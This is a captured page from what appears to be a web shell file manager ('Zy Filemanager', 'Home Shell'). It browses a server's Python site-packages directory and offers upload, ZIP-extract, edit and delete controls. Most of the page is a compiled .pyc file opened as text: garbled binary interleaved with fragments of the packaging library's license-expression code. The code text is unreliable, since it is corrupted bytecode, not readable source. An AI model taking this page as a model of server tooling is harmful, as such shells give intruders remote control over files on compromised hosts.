⚠️ BACKUP DATA ANDA SECARA TERATUR! File manager ini untuk keperluan teknis.
Zy Filemanager
berang berang bawa gelek berangkat lek !!!
🌙 Dark Mode
🏠 Home Shell
🔄 Refresh
Current Path:
Home Shell
/
opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
packaging
/
licenses
/
__pycache__
⬆️ Parent Directory
📁 File Browser
Name
Size
Permissions
Modified Date
Actions
📄
__init__.cpython-312.pyc
(4,077 bytes)
3.98 KB
0644
📅
✏️
✍️
⬇️
🗑️
📄
_spdx.cpython-312.pyc
(47,333 bytes)
46.22 KB
0644
📅
✏️
✍️
⬇️
🗑️
📤 Upload Files
Single File
Multiple Files
ZIP Extract
ZIP file will be deleted after extraction
➕ Create New
New Folder
New File
✍️ Editing: __init__.cpython-312.pyc
File: /opt/hc_python/lib/python3.12/site-packages/packaging/licenses/__pycache__/__init__.cpython-312.pyc
Size: 3.98 KB | Last Modified: 2025-05-23 13:31:44
💾 Backup File
🔢 Toggle Line Numbers
� P0hS � � � d dl mZ d dlZd dlmZmZ d dlmZmZ g d�Z ej d� Z ede� Z G d� d e� Z dd �Zy)� )�annotationsN)�NewType�cast)� EXCEPTIONS�LICENSES)�InvalidLicenseExpression�NormalizedLicenseExpression�canonicalize_license_expressionz^[A-Za-z0-9.-]*$r c � � e Zd ZdZy)r z�Raised when a license-expression string is invalid >>> canonicalize_license_expression("invalid") Traceback (most recent call last): ... packaging.licenses.InvalidLicenseExpression: Invalid license expression: 'invalid' N)�__name__� __module__�__qualname__�__doc__� � �J/opt/hc_python/lib/python3.12/site-packages/packaging/licenses/__init__.pyr r 2 s � �r r c � � | sd| ��}t |� �| j dd� j dd� }d}|j � D �ci c]O }|j � j |j � � r |j � d|t |� d z ��Q }}|j � }|j � }g }|D ]^ }|dvr|j d� �|d k( r|j d � �0|dk( r|r|d dvrd| ��}t |� �|j |� �` d j |� } t | t � t � � } | durd| ��}t |� d �g }|D �] }|dv r |j |j � � �(|r<|d dk( r4|t vrd|��}t |� �|j t | d � �f|j d� r|d d }d} n|}d} |j d� r=t j! |� sd|��}t |� �|j || | z � ��|t"